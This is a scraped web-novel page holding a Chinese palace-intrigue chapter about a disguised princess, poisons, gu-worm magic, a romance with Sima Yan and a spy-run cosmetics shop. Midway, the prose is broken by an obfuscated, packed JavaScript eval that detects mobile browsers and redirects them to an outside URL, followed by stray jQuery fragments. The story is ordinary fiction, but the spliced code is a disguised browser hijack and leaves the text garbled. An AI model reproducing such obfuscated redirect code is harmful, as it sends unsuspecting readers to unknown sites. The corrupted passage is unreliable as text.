默认冷灰
24号文字
方正启体

9. 朱阙初立之胭脂藏锋·暗网织

作者:离秋水本书字数:K更新时间:
    闻鹊斋·西厢房


    寅时三刻,鄞姑的檀木药箱扣在青玉案上时,祺嬷嬷正在往端木云颐的茶水里滴第三滴每日需进服的蛊液。


    伺主鲜血养就的蛊虫生出的蛊液,化作朱颜蛊在喉间开出曼陀罗的刹那,人皮面具方能与骨血生出缠绵的根系。


    “老奴伺候殿下服药。”鄞姑捧着缠枝莲纹盏的手指稳如石雕,唯有袖口金丝牡丹在烛火中轻颤。


    端木云颐斜倚在锦绣堆里,嗅到汤药里浮动的龙脑香时睫毛微动,却不动声色。


    “鄞嬷嬷,让老身来吧。”祺嬷嬷顺势接过莲纹盏,将鄞姑及其左右屏退,烛影摇曳间,公主领口透出的朱砂痕刺得她瞳孔骤缩。


    端木云颐透过乳母的瞳孔看到她眼里的震惊,微叹息道:“想必是服用这断息散留下的症状,加之前两日又中了那贼人的蛊虫,现下本宫这内里是彻底被掏空了。”


    锁骨那处原本掩饰得极好的珠胎凤纹,此刻也如用了隐色水的宣纸在烛火的烘烤下逐渐显色,在皮肤表面攀爬出一幅凤纹图腾。


    “殿下,莫要杞人忧天,您是天命所归之人。”祺嬷嬷连忙打断,眉眼一转又低声对公主说道,“汤婆子在外候着呢。”


    端木云颐点点头,不多时人已被桑知引进内屋。


    汤婆子佝偻的身影裹着陈年的药香撞进帘栊,手端着的漆盘上那盏描金药盅却稳得诡异。


    端木云颐望着她袖口暗绣的缠枝莲纹,与日前覃默呈上给荣国公的密报帛书上的边角花纹分毫不差,瓷盅沿凝结的药汁正泛着西域罗莲特有的幽蓝。


    “老奴熬了两天两夜的续断汤。”她枯爪般的手掀起盅盖,血腥气混着曼陀罗的甜香在屋内轰然炸开。


    端木云颐颈间翡翠缠丝钏突然发烫,那里面藏着锁骨上的朱砂痕,吸收了汤药之气后此刻正与药汤中的粉晶相互辉映。


    祺嬷嬷的银护甲叩在青玉案上:“既是续断汤,嬷嬷不妨先尝。”


    汤婆子眼尾褶皱里闪过一丝青光,那是掖庭死士吞毒前惯含的瞳珠反光。


    她舀起半勺殷红药汁,舌尖卷过银匙时发出毒蛇吐信般的嘶响:“老奴的命脉早系在主子身上,这二十年来老奴在外可是兢兢业业。”


    铜漏忽然卡在申时三刻,汤婆婆问道,“这丹药老奴就不浪费了罢?”


    端木云颐取过药盅浅抿一口,刚拿起瓷碟上的药丸子时,左肩倏然刺痛,是那夜被贼人刺伤时种下的情蛊正在血脉中翻涌。


    汤婆子浑浊的瞳孔突然映出双影,药汤表面浮着的油花诡异地聚成凤凰图腾,与端木云颐心口朱砂痕共鸣震颤。


    “嬷嬷可知……”端木云颐猛地攥住她欲收回去的手腕,虎口处月牙状旧疤正抵在她命门,“这续断汤里缺了九转还魂丹正如白水,而九转还魂丹缺了番红花蕊却会致命?”


    “老奴——”


    “这是哪来的药方子?”端木云颐凤眸一转,指尖发力按下她的命门,汤婆子这才哆嗦着答道,“禀主子,是老奴在道上的一个朋友给的方子,这——老奴也不知这方子不对,求主子饶命!”


    “道上的朋友?”端木云颐露出一副吃惊的表情,质疑一闪而过后又接着言道,“看你前几日的活儿干的也算漂亮,就姑且饶你一命,那日在暮鸦轩活动的荣府暗卫可是你调动的?”


    “正是老奴,老爷与夫人不睦已久,老奴不过略施薄计挑拨司马彦与他的关系。”汤婆子神色一隐,诧异道,“主子怎知……”


    祺嬷嬷正色直言道,“汤婆子,莫要忘了自己的身份才好,这府里盯着你的人可不止一人。”


    “将凤隐门的令符交予本宫,日后在荣府本宫亲自把控。”


    窗外一声惊雷突然劈开暮色。


    汤婆子的袖中突然滑出鎏金香笼,还未待端木云颐仔细辨认此物,耳边忽然传来一阵惊呼声:


    “殿下当心!”


    祺嬷嬷的惊呼混着司马彦破窗而入的剑气,玄色大氅扫过满地狼藉时,端木云颐连忙抽出枕中软罗剑吃住司马彦的剑气。


    “三公主,好剑法!”司马彦抽身而退,眉眼一转道,“臣以为这个婆子袖笼中藏有暗器,一时鲁莽还望见谅。”


    “本宫多谢司马公子挂怀,殊不知这个婆子可是司马夫人的陪房,你可有任意处置此婆子的特权?”


    “特权倒是没有,但是如若家中仆人对公主多有冒犯,想必母亲也不会介意我对之加以处置。”


    端木云颐抽回剑,与祺嬷嬷二人面面相觑。


    汤婆子欲哭无泪,却也只能将袖笼之物悄声交还给祺嬷嬷,除了密钥之外还有凤隐门安插在荣府府卫中的鱼符令牌。


    祺嬷嬷以公主殿下要静养为由,转身将汤婆子等人驱至门外。


    只留司马彦在屏风前流连忘返,见他端起那盏药仔细端详后,又捏起丸药道,“这可是九转还魂丹?”


    “司马公子不仅身手高强,看来对药品也知之甚多。”


    司马彦嘴角微扬,“殿下可知九转还魂丹需要至亲的人血作药引子?”


    说罢,他抬眸看向病榻上的人,有气无力的样子丝毫不像方才抽剑时的神气模样。


    她单薄的绸衣上透着斑斑点点的红梅,透过屏风亦清晰可见。那是她因服用「断息散」后引发的重症,俊年的清眸不由得垂下不忍再视。


    端木云颐闻言不禁陷入沉思,究竟是谁人递给了汤婆子这张没有番红花蕊及至亲血做药引子,不要命却致命的九转还魂丹为辅方可的续断汤方子?


    此时也容不得细细追究,汤婆子是先皇拨给自己的暗卫,此时安插在荣府自然有她的周到以及用处。


    闻鹊斋地处荣国公府的北面,院落阴湿冷郁不利于修养,亦不方便每日服用蛊液维系易容术。


    不多日,端木云颐便找理由搬回西跨院了。搬回西跨院章华阁修养多日后,很快已能下床行走。


    端木云颐倚在章华阁的云母屏风上,指尖抚过鎏金暖炉的蟠螭纹。泥炉内煨着的雪参汤腾起袅袅白雾,将轩窗外那株枯木桃枝氤氲成水墨残影。


    她忽觉掌心温热,自那日呕血昏迷后,这是第一次触到暖意。


    “殿下当心夜风。”祺嬷嬷捧着缠枝莲纹斗篷追来时,端木云颐已赤足踩上青玉砖。寒意顺着足弓攀上脊背,却在触及心口时被朱砂痕灼成暖流。


    她望着铜镜中自己新染的鸦青鬓发,发尾却有一缕褪不去的霜白,恍若雪地里蜿蜒的墨痕。


    戌时三刻,司马彦翻窗带进的夜露沾湿了鲛绡帐。


    他玄衣下摆还凝着太液池的冰碴,掌心却托着朵含苞的绿萼梅:“璇玑阁移来的,说是活血。”


    “公子还惯会走捷径的,下次请不要破窗而入。”


    端木云颐嗅到梅蕊间若有似无的血腥气,忽觉腕间翡翠玉珏开始发烫。前日还绵软无力的手指,此刻竟能捏碎花苞中藏的冰碴儿。


    “断息散的滋味如何?”司马彦轻笑,突然攥住端木云颐欲藏起的手,拇指按在她除掉护甲后的旧疤上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244098|166311||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “说得公子你也想尝尝似的。”端木云颐反手扣过司马彦的腕间命门,直言反驳道。


    司马彦指腹的薄茧刮过端木云颐手上新生的肌肤,激得她左肩的情蛊骤醒,腕间的玉珏叮咚撞在药盏沿,“哐啷——”一声骤响,泼出的汤药在青砖缝里化为湿泥。


    司马彦突然抬手,指节骤然扣住她后颈,力道却泄在触到朱砂痕的瞬间,“不知为何,就是突然想马上见到你。”


    他玄铁般冷硬的气息裹着断息散的苦杏味,混入端木云颐衣襟间蒸腾的龙涎香,几竟在鲛绡帐内酿成醉人的鸩酒。


    “你往我身上掺了情蛊粉?”他齿关碾过她耳垂,声音却比太液池的冰碴更颤。


    “为何不说是你替我种的蛊……”端木云颐的嘲讽噎在喉间,司马彦突然咬破的舌尖血已渡进她唇齿。


    “是与不是,一试便知。”这情蛊要饮双生血,尝到甜头后的蛊虫在二人体内更加肆虐,在相触的肌肤下疯狂游走,将他们记忆里的星夜碎成胭脂色的雾。


    跌落的汤药在青砖上绘成的湿泥突然沸腾,腾起的热气里似浮起并蒂莲纹的氤氲。


    更漏在此刻吞尽最后一滴水,子时梆子惊飞檐角铜铃。


    端木云颐指尖触到他掌心的冰裂纹,与记忆中三年前母皇被刺杀的伤口如此雷同,眉间不禁闪过一丝愠怒。


    ……


    积雪划开云层跌落下来堆到脚踝时,端木云颐已能独自走到廊下。


    雨丝缠着丹桂残香坠入掌心,却在触及朱砂痕时蒸腾成猩红的雾气。


    她望着回廊转角处飘来的宫灯,那抹孔雀蓝的光晕,正与多日前覃默袖口沾染的西域罗莲色相应。


    而不日前,听闻一个汤老婆子在朱雀街上开了一家专卖胭脂水粉,以及教人化妆的铺子——「朱颜阁」。


    桑知在主子面前又口无遮拦道,“主子留着汤婆子的小命,缘是有这么大的活等着她去干呢。”


    祺嬷嬷四下瞅了几眼,屋外的几个小女婢都似置若罔闻,这才狠狠盯了她一眼,道:“你又在殿下面前瞎说八道什么。”


    “无妨,下次再有机会本宫定会给你也派个大活。”端木云颐挑挑眉,戏言道,“不知西域还有哪个部落需要和亲。”


    桑知这才吐着舌头屏住呼吸,恨不得咬掉自己的舌头。


    ……


    朱雀街的晨雾还未散尽,鎏金匾额上「朱颜阁」三个字已渗出胭脂红。


    鎏金香笼吐出第三缕青烟时,端木云颐正用银簪挑开螺子黛的珐琅盒。


    铜镜里映着张陌生面孔,远山黛被化作了柳叶眉,眼尾刻意点上三颗小痣,这是朱颜阁老板娘「啊芜」今日的皮相。


    “东家,礼部侍郎夫人到了。”


    侍女阿芷挑起珠帘时,端木云颐瞥见她发间新换的翡翠蜻蜓簪,翅翼第三道纹路向□□斜,是暗桩传来「有鹰犬盯梢」的警告。


    “请夫人上座。”


    端木云颐笑着将鎏金缠枝镜转向西窗,阳光透过镜背镂空的璇玑纹,在墙面投出太医院值房轮值图。


    侍郎夫人颈间那道新鲜抓痕,正与三日前密报中端木丘辙临幸浣衣局宫女的位置吻合。


    “都说啊芜姑娘的妙手能描返魂妆。”她染着丹蔻的指甲叩在妆匣上,袖口滑出半截鎏金笺正是端木云颐日前找人塞进端木丘辙枕下的相思引。


    端木云颐蘸着玫瑰膏在她锁骨绘并蒂莲,指尖触到跳动的颈脉:“夫人可知,这颜色要拿心上人的指尖血来固色?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)